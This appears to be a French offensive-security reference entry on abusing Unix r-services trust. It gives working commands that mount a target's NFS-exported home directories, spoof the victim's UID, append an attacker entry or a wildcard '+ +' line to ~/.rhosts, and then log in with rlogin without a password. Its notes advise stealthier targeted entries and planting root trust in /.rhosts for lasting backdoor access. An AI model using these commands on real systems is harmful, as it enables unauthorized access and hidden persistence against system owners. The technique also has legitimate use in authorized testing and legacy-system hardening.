L'abus de confiance le plus direct consiste à écrire la confiance vous-même : ajouter une ligne au ~/.rhosts d'un utilisateur cible accorde à l'attaquant un accès rsh/rlogin/rexec sans mot de passe en tant que cet utilisateur, et l'entrée persiste comme porte dérobée jusqu'à sa suppression. Toute l'attaque se réduit à obtenir une écriture dans le répertoire personnel de la cible. Cette écriture provient d'un home accessible en écriture exporté via NFS (où l'usurpation d'UID permet d'écrire en tant que l'utilisateur), d'une vulnérabilité d'écriture de fichier ou de traversée de chemin dans un autre service, ou d'un pied-à-terre existant en tant qu'autre compte ou root. L'entrée + + fait confiance à tout le monde ; une entrée host user spécifique est plus furtive.
# the precondition is a write to the target's home; common via NFS UID spoofing
mount -t nfs <target>:/home /mnt && sudo -u \#<victim_uid> sh -c \
'echo "attacker-host attacker-user" >> /mnt/victim/.rhosts'
# or the maximal open-door entry
echo '+ +' >> /mnt/victim/.rhosts
# then access with no password
rlogin -l victim <target>
Notes d'exploitation#
- La primitive habilitante est une écriture dans le répertoire personnel ; l'association classique est un export NFS avec AUTH_SYS, où usurper l'UID de la victime permet d'écrire son
.rhostsen tant qu'elle. + +est maximal (n'importe quel hôte, n'importe quel utilisateur) et voyant ; une entrée cibléehost userne faisant confiance qu'à votre identité est plus discrète tout en restant durable.- C'est à la fois un accès et une persistance : la confiance implantée accorde une réentrée sans mot de passe répétée ; incluez-la lors de l'établissement d'un pied-à-terre durable sur les Unix hérités.
- La confiance de root vit dans
/.rhosts(non couvert parhosts.equiv) ; l'écrire accorde un accès root sans mot de passe partout où vous pouvez atteindre ce fichier.